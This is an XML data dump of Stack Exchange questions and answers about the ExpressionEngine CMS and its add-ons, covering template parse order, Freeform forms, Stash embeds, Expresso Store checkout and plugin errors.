  <row Id="20774" PostTypeId="2" ParentId="15537" CreationDate="2014-03-28T16:04:32.027" Score="0" Body="&lt;p&gt;I just got this error when using channel:form, enabling 'iconv extension' fixed the issue.&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2014-03-28T16:04:32.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20775" PostTypeId="2" ParentId="19643" CreationDate="2014-03-28T16:06:57.467" Score="1" Body="&lt;p&gt;I'm having this issue too, with CT Pro 2.4 and EE 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Orders are appearing in the order channel.&lt;/li&gt;&#xA;&lt;li&gt;Order items are appearing in the purchased channel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;however the order_items field in the order has no rows to connect them.&lt;/p&gt;&#xA;" OwnerUserId="1338" LastActivityDate="2014-03-28T16:06:57.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20776" PostTypeId="1" AcceptedAnswerId="20781" CreationDate="2014-03-28T16:09:05.543" Score="1" ViewCount="355" Body="&lt;p&gt;EE v2.7.2&#xA;Build Date: 20131008&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find an elegant solution to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've setup a channel name &quot;test&quot; with a field named 'test_field' (Text Input).&#xA;I've created some entries with the test_field populated the same as entries title.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;apple&lt;/li&gt;&#xA;&lt;li&gt;banana&lt;/li&gt;&#xA;&lt;li&gt;foo&lt;/li&gt;&#xA;&lt;li&gt;bar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The goal is to use the search by parameter field 'test_field' and return 2 entries - &quot;foo&quot; and &quot;bar&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the Foo Bar plugin here: &lt;a href=&quot;https://github.com/surprisehighway/foo_bar&quot; rel=&quot;nofollow&quot;&gt;https://github.com/surprisehighway/foo_bar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Attempt 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The single plugin tag &lt;code&gt;{exp:foo_bar}&lt;/code&gt; returns the string 'foo|bar'. Looks like the entries tag is parsing before the foo_bar tag in the SQL query. &lt;code&gt;LIKE &quot;%{exp:foo\_bar}%&quot;&lt;/code&gt;. That is expected without parse inward?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;test&quot; dynamic=&quot;no&quot; search:test_field=&quot;{exp:foo_bar}&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;SELECT t.entry_id FROM exp_channel_titles AS t&#xA;LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_channel_data AS wd ON wd.entry_id = t.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id WHERE t.entry_id !='' AND t.site_id IN ('1')  AND t.entry_date &amp;lt; 1396016523  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1396016523) AND t.channel_id = '11' AND t.status = 'open' AND ( (wd.site_id=1 AND wd.field_id_111  LIKE &quot;%{exp:foo\_bar}%&quot;) )ORDER BY t.sticky desc, t.entry_date desc, t.entry_id desc LIMIT 0, 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Attempt 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You would think that parse inward added to the entries tag would fix this. I'm still getting &lt;code&gt;LIKE &quot;%{exp:foo\_bar}%&quot;&lt;/code&gt; when adding parse=&quot;inward&quot; to the entries tag. &lt;strong&gt;This is not expected&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Should have checked my tweets. Ellislab &lt;a href=&quot;https://twitter.com/kevincupp/status/449243408071401472&quot; rel=&quot;nofollow&quot;&gt;said&lt;/a&gt; this will be fixed in the next release. I am still stumped with Attempt 5 in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;test&quot; dynamic=&quot;no&quot; search:test_field=&quot;{exp:foo_bar}&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;SELECT t.entry_id FROM exp_channel_titles AS t&#xA;LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_channel_data AS wd ON wd.entry_id = t.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id WHERE t.entry_id !='' AND t.site_id IN ('1')  AND t.entry_date &amp;lt; 1396016672  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1396016672) AND t.channel_id = '11' AND t.status = 'open' AND ( (wd.site_id=1 AND wd.field_id_111  LIKE &quot;%{exp:foo\_bar}%&quot;) )ORDER BY t.sticky desc, t.entry_date desc, t.entry_id desc LIMIT 0, 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Attempt 3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Knowing from previous experience, EE's template parser struggles at times when plugin tags that are shoved into parameters. What if we make it a pair tag instead? The input value outputs directly to the foobar_result variable. We end up with &lt;code&gt;LIKE &quot;%{foobar\_result}%&quot;&lt;/code&gt; in our SQL query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The foo_bar:pair tag is a single row output using the ee()-&gt;TMPL-&gt;parse_variables_row method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:foo_bar:pair input=&quot;foo|bar&quot;}&#xA;    {exp:channel:entries channel=&quot;test&quot; dynamic=&quot;no&quot; search:test_field=&quot;{foobar_result}&quot;}&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:foo_bar:pair}&#xA;&#xA;SELECT t.entry_id FROM exp_channel_titles AS t&#xA;LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_channel_data AS wd ON wd.entry_id = t.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id WHERE t.entry_id !='' AND t.site_id IN ('1')  AND t.entry_date &amp;lt; 1396018169  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1396018169) AND t.channel_id = '11' AND t.status = 'open' AND ( (wd.site_id=1 AND wd.field_id_111  LIKE &quot;%{foobar\_result}%&quot;) )ORDER BY t.sticky desc, t.entry_date desc, t.entry_id desc LIMIT 0, 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Attempt 4&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's add parse inward to the &lt;code&gt;{exp:foo_bar:pair}&lt;/code&gt; tag so it's parsed before the entries tag. It works! But...&lt;strong&gt;see Example 5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:foo_bar:pair input=&quot;foo|bar&quot; parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel=&quot;test&quot; dynamic=&quot;no&quot; search:test_field=&quot;{foobar_result}&quot;}&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:foo_bar:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Attempt 5&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's say we purposefully not find an entry result and return what is within the no_results conditional. My no_results condition is not working now because the foo_bar pair tag is returning a result. I need the no_result conditioning to work for the entries tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:foo_bar:pair input=&quot;find_no_entry&quot; parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel=&quot;test&quot; dynamic=&quot;no&quot; search:test_field=&quot;{foobar_result}&quot;}&#xA;&#xA;        {if no_results}&#xA;            &amp;lt;h1&amp;gt;No results buddy&amp;lt;/h1&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:foo_bar:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Fini&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Stuck at attempt 5 without getting more messy. Preferably without using another plugin.&#xA;How do I solve this without getting more convoluted by wrapping it all with Stash? ;)&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2014-03-28T16:41:32.433" LastActivityDate="2014-03-28T16:49:35.480" Title="Passing Plugin Values to Entries Parameter Woes" Tags="|channel-entries|plugin|parse-order|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20777" PostTypeId="2" ParentId="20751" CreationDate="2014-03-28T16:14:12.630" Score="1" Body="&lt;p&gt;Freeform:Form variables work in Composer templates, they are just parsed after all {composer: based variables are finished parsing as composer first parses everything that belongs to it, then pases the template to Freeform:Form for its parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus if you are trying to get page totals just to display, you can use {freeform:form_page_total}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_form_page_total&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_form_page_total&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-28T16:14:12.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20778" PostTypeId="2" ParentId="9311" CreationDate="2014-03-28T16:24:28.683" Score="1" Body="&lt;p&gt;This might help..., Auto Store SKU, if no SKU value is specified it uses the entry_id to populate the SKU field. You can specify an SKU value and it will leave it as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/nathanpitman/9836805&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/nathanpitman/9836805&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-03-28T16:24:28.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20779" PostTypeId="1" CreationDate="2014-03-28T16:25:47.253" Score="1" ViewCount="258" Body="&lt;p&gt;I have a fresh install of EE2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the Geofinder plugin and do a location search. On my result page, I am getting serious errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Fatal error: Call to undefined method EE_Template::assign_relationship_data() in /vagrant/xxx.dev/system99/expressionengine/third_party/geofinder/mod.geofinder.php &#xA;Call Stack: 0.0000 644616 1. {main}() /vagrant/xxx.dev/index.php:0 0.0023 648744&#xA; 2. require_once('/vagrant/xxx.dev/system99/codeigniter/system/core/CodeIgniter.php') /vagrant/xxx.dev/index.php:188 0.1334 2785712 &#xA; 3. call_user_func_array() /vagrant/xxx.dev/system99/codeigniter/system/core/CodeIgniter.php:319 0.1334 2785848 &#xA; 4. EE-&gt;index() /vagrant/xxx.dev/system99/codeigniter/system/core/CodeIgniter.php:0 0.1334 2785928 &#xA; 5. EE_Core-&gt;generate_page() /vagrant/xxx.dev/system99/expressionengine/controllers/ee.php:68 0.1346 2966928 &#xA; 6. EE_Template-&gt;run_template_engine() /vagrant/xxx.dev/system99/expressionengine/libraries/Core.php:703 0.1363 2994440 7. EE_Template-&gt;fetch_and_parse() /vagrant/xxx.dev/system99/expressionengine/libraries/Template.php:157 0.1534 3191400 &#xA; 8. EE_Template-&gt;parse() /vagrant/xxx.dev/system99/expressionengine/libraries/Template.php:209 0.1542 3199400 &#xA; 9. EE_Template-&gt;tags() /vagrant/xxx.dev/system99/expressionengine/libraries/Template.php:466 0.1621 3217496 &#xA; 10. EE_Template-&gt;process_tags() /vagrant/xxx.dev/system99/expressionengine/libraries/Template.php:1178 0.1707 4095136&#xA; 11. Geofinder-&gt;location_results() /vagrant/xxx.dev/system99/expressionengine/libraries/Template.php:1559&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have anyone went around it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/users/617/rob-sanchez&quot;&gt;Developer - Rob&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-04-30T14:58:35.437" Title="Geofinder plugin - no longer works on EE2.8.1" Tags="|cartthrob|geofinder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20780" PostTypeId="2" ParentId="20776" CreationDate="2014-03-28T16:47:13.890" Score="0" Body="&lt;p&gt;Can you alter the plugin to return the entire search:test_field=&quot;&quot; parameter? So that your channel entries tag opener looked like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;test&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot; {exp:foo_bar}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've definitely gotten plugins to work in this manner.&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2014-03-28T16:47:13.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20781" PostTypeId="2" ParentId="20776" CreationDate="2014-03-28T16:49:35.480" Score="1" Body="&lt;p&gt;Actually, maybe you should consider just extending the Channel Entries tag.  Might be the most elegant and lease parse-order-hoop-jumping way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dmlogic.com/blog/extending-the-expression-engine-channel-module/&quot; rel=&quot;nofollow&quot;&gt;http://dmlogic.com/blog/extending-the-expression-engine-channel-module/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2014-03-28T16:49:35.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20782" PostTypeId="2" ParentId="20612" CreationDate="2014-03-28T17:15:17.353" Score="1" Body="&lt;p&gt;You should be able to edit the site name within the CP under Admin &gt; General Configuration &gt; Site Name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Additionally, it wasn't clear where to edit the site name, I had to do so in the DB.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might you have inadvertently created a new site entry within the exp_sites table when you entered your site name? How many sites do you see when you look at that table?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-03-28T17:15:17.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20783" PostTypeId="1" CreationDate="2014-03-28T17:26:01.280" Score="0" ViewCount="363" Body="&lt;p&gt;I have a simple setup, but it's not sending the &quot;Nodify Admin&quot; email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a Composer form with just &quot;Email&quot; and &quot;Submit&quot; fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Freeform fieldtype (&lt;a href=&quot;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&lt;/a&gt;), I include this form into my channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I submit the form, and it successfully enters into the database, but I get no email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple EE contact form (exp:email:contact_form) and Tools &gt; Communicate both work fine. Checked email address spelling + spam folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.7.3 and Freeform Pro 4.1.5. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="1327" LastEditDate="2014-03-29T22:47:05.697" LastActivityDate="2014-03-29T22:47:05.697" Title="Freeform Notify Admin E-mail Won't Send" Tags="|solspace-freeform|email|" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-29T16:50:10.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="20784" PostTypeId="2" ParentId="20631" CreationDate="2014-03-28T18:36:56.827" Score="0" Body="&lt;p&gt;Currently, you can't. Also &quot;{form_select_form:form_name}&quot; isn't a valid variable. Where you have: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form_id=&quot;{form_select_form:form_id}&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is valid, this is doing the work of form_name=&quot;&quot; already, thus you are seeing no error. So even if it did work, it would be redundant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a feature request for a better way to accomplish this scenario, but one thing you could try is editing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./system/expressionengine/third_party/freeform/ft.freeform.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;around line 232 there is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagdata     = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is a hack to allow the module's composer setup to work as params passed into the channel entries tag for the Freeform field are passed as tagparams to TMPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try editing line 232 to look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagdata     = $tagdata;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then around line 32, set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $has_array_data  = FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $has_array_data  = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; pass any incoming tagdata towards composer let you put your composer data between field variable pairs like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{form_select_form}&#xA;    //composer tags&#xA;{/form_select_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will add this to feature requests and see what we can do sometime in the future about making this part of Freeform.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-28T18:36:56.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20785" PostTypeId="2" ParentId="20612" CreationDate="2014-03-28T19:00:01.347" Score="1" Body="&lt;p&gt;Try looking inside the system folder if there is this file: system &gt; expressionengine &gt; controllers &gt; cp &gt; sites.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it is there, try to delete it&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-03-28T19:00:01.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20786" PostTypeId="1" AcceptedAnswerId="20796" CreationDate="2014-03-28T19:47:09.043" Score="0" ViewCount="50" Body="&lt;p&gt;I would like to use the Stash embed functions, but I don't know how to define the template path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Stash docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Stash template file at /path/to/stash_templates/test.html --}&#xA;{stash:embed name=&quot;test&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to define and set the path to the embedded template called test??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is similar to the variable setting?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set a variable --}&#xA;{exp:stash:set name=&quot;foo&quot;}bar{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-03-29T01:44:00.017" Title="how to define the stash embedded template?" Tags="|stash|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20787" PostTypeId="2" ParentId="20745" CreationDate="2014-03-28T19:49:47.947" Score="2" Body="&lt;p&gt;In my case it required to add &lt;code&gt;status&lt;/code&gt; to search tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;products&quot; search_in=&quot;everywhere&quot; status=&quot;open&quot; result_page=&quot;home/search&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I was able to see search results.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-28T19:49:47.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20790" PostTypeId="1" AcceptedAnswerId="20809" CreationDate="2014-03-28T20:37:56.900" Score="0" ViewCount="125" Body="&lt;p&gt;I am using malsups form.js to run a login script combined with the zoo visitor add-on. When the login form has been successful the user is successfully logged in with out any need of a page refresh, although when I want to display the username the page needs to be refreshed for those details to appear on screen. Below is my code, any suggestions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        &amp;lt;div class=&quot;username_wrap&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Welcome &#xA;                                &amp;lt;span&amp;gt;&#xA;                                    {exp:zoo_visitor:details}&#xA;                                            {visitor:member_firstname}&#xA;                                    {/exp:zoo_visitor:details}&#xA;                                &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$(&quot;#userLoginForm&quot;).ajaxForm({&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dataType: &quot;json&quot;,&#xA;                success: function (event) {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                if (event.success) {&#xA;                    member_favourites = &quot;5&quot;;&#xA;                    //do something&#xA;                } &#xA;            }&#xA;        })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-03-29T17:06:04.440" Title="Zoo Visitor:details Ajax request" Tags="|forms|login|zoo-visitor|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20791" PostTypeId="2" ParentId="20790" CreationDate="2014-03-28T21:17:49.103" Score="0" Body="&lt;p&gt;With this code it's working fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $('#form').ajaxForm({&#xA;                dataType: 'json',&#xA;                success: function(data) {&#xA;                    if (data.success) {&#xA;                        $(&quot;#jqxwindow &quot;).jqxWindow({ height:150,&#xA;                                                    width: 250,&#xA;                                                    theme: 'bootstrap',&#xA;                                                    content: 'Você é registrado',&#xA;                                                    resizable: false&#xA;                                                                        });&#xA;                        $('#jqxwindow').on('close', function (event) {&#xA;                            alert(&quot;You closed a window&quot;);&#xA;                           );&#xA;&#xA;&#xA;                    } else {&#xA;                        alert('Failed with the following errors: '+data.errors.login);&#xA;                    }&#xA;                }&#xA;            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your code is in the header or footer?? If footer, you have to wrap it with document ready:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( document ).ready(function() {&#xA;&#xA;the code here&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the example code, the box message are from the Jqx framework , but with a simple js alert box it will work too.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-03-28T21:17:49.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20792" PostTypeId="1" CreationDate="2014-03-28T22:02:00.420" Score="1" ViewCount="90" Body="&lt;p&gt;i have tried to pre-populate the memeber data in checkout template.&#xA;but prepouplation of any of the custom member field is not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout register_member=&quot;yes&quot; next=&quot;shop/payment&quot;&#xA;             error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;            require=&quot;first_name|address1|city|country|order_email&quot;}&#xA;&#xA;            {if no_items}&#xA;                {redirect=&quot;shop&quot;}&#xA;            {/if}&#xA;                    &amp;lt;label class=&quot;tburaddrlab&quot; for=&quot;billing_first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;tburfield&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;billing_first_name&quot; value=&quot;{if billing_first_name}{billing_first_name}{if:elseif logged_in}{billing_first_name}{/if}&quot;&amp;gt;&#xA;                        {error:billing_first_name}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;label class=&quot;tburaddrlab&quot; for=&quot;billing_last_name&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;tburfield&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;billing_last_name&quot; value=&quot;{if billing_last_name}{billing_first_name}{if:elseif logged_in}{billing_last_name}{/if}&quot;&amp;gt;&#xA;                        {error:billing_last_name}&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;            {/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B003r.png&quot; alt=&quot;Store and Member field mapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you pleas help me finding out,what i am doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;For old user ids its not prepopulating but for the new user id s its doing the job.&#xA;dont know why? is there any solution to fix this or my understanding is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an another update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trick is there in the cart data clearing - time set in CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once i empty the cart, and update the cart again then new updated profile value is prepopulating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thnaks,&#xA;sus&lt;/p&gt;&#xA;" OwnerUserId="2870" LastEditorUserId="2870" LastEditDate="2014-03-29T01:32:33.693" LastActivityDate="2014-03-29T01:32:33.693" Title="Expresso Store and Freemember Autopopulation not working" Tags="|expresso-store|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20793" PostTypeId="1" AcceptedAnswerId="20794" CreationDate="2014-03-28T22:37:18.540" Score="1" ViewCount="36" Body="&lt;p&gt;I have Expresso Store set up with PayPal Express as the payment method. Everything seems to be working fine but sometimes there are gaps in the order numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'll get order #19, 20, 21 and then it will skip a couple and the next order number I receive will be #24.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-03-28T23:50:15.493" Title="Expresso Store skipping order numbers" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20794" PostTypeId="2" ParentId="20793" CreationDate="2014-03-28T23:50:15.493" Score="1" Body="&lt;p&gt;This usually happens when you have someone that goes through the order process but does not complete the order. You can goto Store &gt; Orders then sort by the status of &quot;Incomplete&quot; you will probably see the missing order numbers.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-03-28T23:50:15.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20795" PostTypeId="2" ParentId="20792" CreationDate="2014-03-28T23:58:33.150" Score="1" Body="&lt;p&gt;If the users have already populated the custom fields in either FreeMember or by completing a purchase in the past they should automatically populate without having to use a conditional since the data is already in the mapped custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label class=&quot;tburaddrlab&quot; for=&quot;billing_first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;&amp;lt;div class=&quot;tburfield&quot;&amp;gt;&#xA;  {field:billing_first_name}&#xA;  {error:billing_first_name}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be all that you need to have to pull the data from the mapped fields. I would assume the reason that you are having problems comes down to the EE parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the mapped billing fields are only pulled on the initial load so you need to make sure that if you make template changes or mapped data is not loading that you empty your cart to retest.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-03-28T23:58:33.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
